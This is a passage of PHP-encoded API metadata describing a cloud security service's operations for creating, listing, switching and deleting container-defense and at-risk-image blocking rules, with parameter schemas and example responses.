], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '163648', 'abilityTreeNodes' => [ 'FEATUREsas5HPCI8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RuleIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the rule.'."\n" ."\n" .'> You can call the [ListContainerDefenseRule](~~2590599~~) operation to query the IDs of rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '188', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'RuleSwitch', 'in' => 'query', 'schema' => [ 'description' => 'The status of the rule. Valid values:'."\n" ."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '30', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C8A137FB-6E18-5741-9B47-D9A0EBA3495F', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 30,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"C8A137FB-6E18-5741-9B47-D9A0EBA3495F\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ModifyContainerDefenseRuleSwitch', ], 'DeleteContainerDefenseRule' => [ 'summary' => 'Deletes a rule for non-image program defense.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '162193', 'abilityTreeNodes' => [ 'FEATUREsasZLVTBH', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RuleIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the rules that you want to delete.'."\n" ."\n" .'> You can call the [ListContainerDefenseRule](~~2590599~~) operation to query the rule IDs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The rule ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '214', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The number of deleted rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code that is returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '47365EC5-**-6DEA1788EB11', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code. The value 200 indicates that the request was successful.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 1,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"47365EC5-**-6DEA1788EB11\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DeleteContainerDefenseRule', ], 'AddContainerDefenseRule' => [ 'summary' => 'Creates a rule for non-image program defense.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'title' => 'id', 'description' => 'The ID of the rule. You do not need to manually specify the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '500018', ], ], [ 'name' => 'RuleAction', 'in' => 'query', 'schema' => [ 'title' => '规则操作', 'description' => 'The action that is performed when the rule is hit. Valid values:'."\n" ."\n" .'* **1**: alert'."\n" .'* **2**: block'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'enumValueTitles' => [ 1 => '', '', ], 'example' => '1', ], ], [ 'name' => 'RuleSwitch', 'in' => 'query', 'schema' => [ 'title' => '规则开关', 'description' => 'The switch of the rule. Valid values:'."\n" ."\n" .'* **0**: off'."\n" .'* **1**: on'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'enumValueTitles' => [ '', '', ], 'example' => '1', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'title' => '规则名称', 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'auto-test-rule-lt9umq', ], ], [ 'name' => 'Description', 'in' => 'query', 'schema' => [ 'title' => '描述', 'description' => 'The description of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test-proc-defense', ], ], [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'The rule type. Valid values:'."\n" ."\n" .'* 2: user-defined rules'."\n" ."\n" .'> Only the value 2 is supported.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], [ 'name' => 'Whitelist', 'in' => 'query', 'style' => 'json', 'schema' => [ 'title' => '白名单', 'description' => 'The whitelist.'."\n", 'type' => 'object', 'properties' => [ 'Hash' => [ 'description' => 'The hash values of the files that need to be added to the whitelist.'."\n" ."\n" .'> This parameter is not supported.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The hash value of the file that needs to be added to the whitelist.'."\n", 'type' => 'string', 'deprecated' => true, 'required' => false, 'example' => 'hashcode', ], 'deprecated' => true, 'required' => false, ], 'Path' => [ 'description' => 'The paths to the files that need to be added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the file that needs to be added to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => '/test/worker.sh', ], 'required' => false, ], 'Image' => [ 'description' => 'The images that need to be added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image that needs to be added to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'repo:tag', ], 'required' => false, ], ], 'required' => false, ], ], [ 'name' => 'Scope', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '作用域', 'description' => 'The scope.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~182997~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => '8e2***75b', ], 'AllNamespace' => [ 'description' => 'Specifies whether to include all namespaces. Valid values:'."\n" ."\n" .'* **0**: You can use the Namespaces parameter to specify the namespaces to include.'."\n" .'* **1**: All namespaces are included.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'enumValueTitles' => [ '', '', ], 'example' => '0', ], 'Namespaces' => [ 'description' => 'The namespaces to include.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The namespace to include.'."\n", 'type' => 'string', 'required' => false, 'example' => 'default', ], 'required' => false, 'maxItems' => 100, ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The ID of the rule that is created.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '182', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'enumValueTitles' => [ 'true' => '', 'false' => '', ], 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'There was an error with your request.', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '8C376***AE74FB4', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code that is returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 182,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"There was an error with your request.\\",\\n \\"RequestId\\": \\"8C376***AE74FB4\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'AddContainerDefenseRule', ], 'ListOpaClusterStrategyNew' => [ 'summary' => 'Queries at-risk image blocking rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'StrategyName', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '策略名称', 'description' => 'The rule names.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The rule name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'default', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'ImageName', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '镜像名称', 'description' => 'The image names.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'repo:tag', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'Label', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '标签', 'description' => 'The tags that are added to the container.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The tag that is added to the container.'."\n", 'type' => 'string', 'required' => false, 'example' => 'testlabel', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'PageResult'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The rules.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'StrategyId' => [ 'description' => 'The rule ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'StrategyName' => [ 'description' => 'The rule name.'."\n", 'type' => 'string', 'example' => 'auto-strategy-vohuiq', ], 'Description' => [ 'description' => 'The description.'."\n", 'type' => 'string', 'example' => 'Config the Event Audit policys', ], 'UnScanedImage' => [ 'description' => 'Indicates whether the rule supports unscanned images. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'MaliciousImage' => [ 'description' => 'Indicates whether the rule supports malicious Internet images. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Action' => [ 'description' => 'The action of the rule. Valid values:'."\n" ."\n" .'* **1**: trigger alerts'."\n" .'* **2**: block'."\n" .'* **3**: allow'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ClusterCount' => [ 'description' => 'The number of clusters on which the rule takes effect.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ClusterIdList' => [ 'description' => 'The clusters on which the rule takes effect.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The cluster on which the rule takes effect.'."\n", 'type' => 'string', 'example' => 'cfb41a8**8a106', ], ], 'ImageName' => [ 'description' => 'The image names.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image name.'."\n", 'type' => 'string', 'example' => 'centos', ], ], 'Label' => [ 'description' => 'The tags that are added to the container.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The tag that is added to the container.'."\n", 'type' => 'string', 'example' => 'alertmanager:main', ], ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '45', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message that shows the export task result. The value is fixed as **success**, which indicates that the export task is successful.'."\n", 'type' => 'string', 'example' => 'success', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7DFD947C-9172-5129-B783-DD14C55191D2', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"StrategyId\\": 1,\\n \\"StrategyName\\": \\"auto-strategy-vohuiq\\",\\n \\"Description\\": \\"Config the Event Audit policys\\",\\n \\"UnScanedImage\\": true,\\n \\"MaliciousImage\\": true,\\n \\"Action\\": 1,\\n \\"ClusterCount\\": 1,\\n \\"ClusterIdList\\": [\\n \\"cfb41a8**8a106\\"\\n ],\\n \\"ImageName\\": [\\n \\"centos\\"\\n ],\\n \\"Label\\": [\\n \\"alertmanager:main\\"\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"7DFD947C-9172-5129-B783-DD14C55191D2\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListOpaClusterStrategyNew', ], 'CreateOpaStrategyNew' => [ 'summary' => 'Creates a rule to block at-risk images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '174285', 'abilityTreeNodes' => [ 'FEATUREsasZLVTBH', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The rule ID.'."\n" ."\n" .'> You can call the [ListOpaClusterStrategyNew](~~2623574~~) operation to query the rule ID.'."\n" ."\n" .'> This parameter is invalid when you create a rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '16', ], ], [ 'name' => 'StrategyTemplateId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule template.'."\n" ."\n" .'> You can call the [GetOpaStrategyTemplateSummary](~~2539952~~) operation to query the ID of the rule template.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '109', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The cluster ID.'."\n" ."\n" .'> This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cfa7e2fb8c221483ba59e098c34c6****', ], ], [ 'name' => 'StrategyName', 'in' => 'query', 'schema' => [ 'description' => 'The rule name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'default', ], ], [ 'name' => 'Description', 'in' => 'query', 'schema' => [ 'description' => 'The rule description.'."\n", 'type' => 'string', 'required' => false, 'example' => 'default policy', ], ], [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The cluster name.'."\n" ."\n" .'> This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => '*', ], ], [ 'name' => 'UnScanedImage', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the rule supports unscanned images. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'MaliciousImage', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the rule supports malicious Internet images. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'ImageName', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The image names.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image name.'."\n" ."\n" .'> You can call the [GetOpaClusterImageList](~~2539885~~) operation to query the image name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'testImage', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Label', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The container tags.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The container tag.'."\n" ."\n" .'> You can call the [GetOpaClusterLabelList](~~2539885~~) operation to query the container tag.'."\n", 'type' => 'string', 'required' => false, 'example' => 'app.kubernetes.io/component:collector', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'RuleAction', 'in' => 'query', 'schema' => [ 'description' => 'The action that is performed when the rule is hit. Valid values:'."\n" ."\n" .'* **1**: trigger alerts'."\n" .'* **2**: block'."\n" .'* **3**: allow'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'WhiteList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The entry in the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'repo-06', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'AlarmDetail', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The risks that you want to detect by using the rule.'."\n", 'type' => 'object', 'properties' => [ 'Baseline' => [ 'description' => 'The baseline risks.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'high', ], 'required' => false, ], 'Item' => [ 'description' => 'The baseline check items.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the baseline check item.'."\n" ."\n" .'> You can call the [GetOpaClusterBaseLineList](~~2539883~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hc.image.checklist.identify.hc_exploit_couchdb_linux.item', ], 'Name' => [ 'description' => 'The name of the baseline check item.'."\n" ."\n" .'> You can call the [GetOpaClusterBaseLineList](~~2539883~~) operation to query the name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Unauthorized access to CouchDB configuration risk', ], ], 'required' => false, ], 'required' => false, ], ], 'required' => false, ], 'Vul' => [ 'description' => 'The vulnerability risks.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'high', ], 'required' => false, ], 'Item' => [ 'description' => 'The vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the vulnerability.'."\n" ."\n" .'> You can call the [DescribeVulListPage](~~471928~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CVE-2023-36034', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n" ."\n" .'> You can call the [DescribeVulListPage](~~471928~~) operation to query the name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Microsoft Edge vul', ], ], 'required' => false, ], 'required' => false, ], 'RiskClass' => [ 'description' => 'Risk type of vulnerability.', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the vulnerability types. Valid values:'."\n" ."\n" .'* **cve**: system vulnerability'."\n" .'* **app**: application vulnerability', 'type' => 'string', 'required' => false, 'example' => 'cve', ], 'Name' => [ 'description' => 'The name of the vulnerability. Valid values:'."\n" ."\n" .'* **system vulnerability**'."\n" .'* **application vulnerability**', 'type' => 'string', 'required' => false, 'example' => 'system vulnerability', ], ], 'required' => false, ], 'required' => false, ], ], 'required' => false, ], 'MaliciousFile' => [ 'description' => 'The malicious sample risks.'."\n", 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'high', ], 'required' => false, ], 'Item' => [ 'description' => 'The malicious samples.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the malicious sample.'."\n" ."\n" .'> You can call the [DescribeMatchedMaliciousNames](~~DescribeMatchedMaliciousNames~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '3685699', ], 'Name' => [ 'description' => 'The name of the malicious sample.'."\n" ."\n" .'> You can call the [DescribeMatchedMaliciousNames](~~DescribeMatchedMaliciousNames~~) operation to query the name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'abnormal binary file', ], ], 'required' => false, ], 'required' => false, ], ], 'required' => false, ], 'SensitiveFile' => [ 'description' => 'The configuration of sensitive file.', 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.', 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**', 'type' => 'string', 'required' => false, 'example' => 'low', ], 'required' => false, ], 'Item' => [ 'description' => 'The configuration of sensitive file.', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the sensitive files.'."\n" ."\n" .'> You can call the [GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'required' => false, 'example' => 'key', ], 'Name' => [ 'description' => 'The name of the sensitive files.'."\n" ."\n" .'> You can call the [GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'required' => false, 'example' => 'name', ], ], 'required' => false, ], 'required' => false, ], ], 'required' => false, ], 'BuildRisk' => [ 'description' => 'The configuration of image build risk.', 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk levels.', 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**', 'type' => 'string', 'required' => false, 'example' => 'low', ], 'required' => false, ], 'Item' => [ 'description' => 'The configuration of image build risk.', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the image build risk.'."\n" ."\n" .'> You can call the [ListImageBuildRiskItem](~~ListImageBuildRiskItem~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'required' => false, 'example' => 'key', ], 'Name' => [ 'description' => 'The name of the image build risk.'."\n" ."\n" .'> You can call the [ListImageBuildRiskItem](~~ListImageBuildRiskItem~~) operation to query the ID of the malicious sample.', 'type' => 'string', 'required' => false, 'example' => 'name', ], ], 'required' => false, ], 'required' => false, ], ], 'required' => false, ], ], 'required' => false, ], ], [ 'name' => 'Scopes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '作用域', 'description' => 'The application scope of the rule.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The ID of the cluster that is specified in the rule.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~421736~~) operation to query the cluster ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cc50d***015d2', ], 'AllNamespace' => [ 'description' => 'Specifies whether to include all namespaces. Valid values:'."\n" ."\n" .'* **1**: includes all namespaces.'."\n" .'* **0**: does not include all namespaces.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'NamespaceList' => [ 'description' => 'The namespaces.'."\n" ."\n" .'> This parameter is valid only when the AllNamespace parameter is set to 0.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The namespace.'."\n" ."\n" .'> You can call the [GetOpaClusterNamespaceList](~~2539886~~) operation to query the namespace.'."\n", 'type' => 'string', 'required' => false, 'example' => 'namespace1', ], 'required' => false, 'maxItems' => 100, ], 'AckPolicyInstanceId' => [ 'description' => 'The ID of the cluster node to which the rule is applied.'."\n" ."\n" .'> This parameter is not required when you create the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ack-p-1', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'success', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CD380235-A0B8-540D-A0D5-D62884469E3C', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'Data' => [ 'description' => 'The IDs of the clusters that failed to be saved.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the cluster that failed to be saved.'."\n", 'type' => 'string', 'example' => '[\'cb8cd***b07ee5\']', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D62884469E3C\\",\\n \\"HttpStatusCode\\": 200,\\n \\"Data\\": [\\n \\"[\'cb8cd***b07ee5\']\\"\\n ]\\n}","type":"json"}]', 'title' => 'CreateOpaStrategyNew', ], 'GetOpaStrategyDetailNew' => [ 'summary' => 'Queries the details of 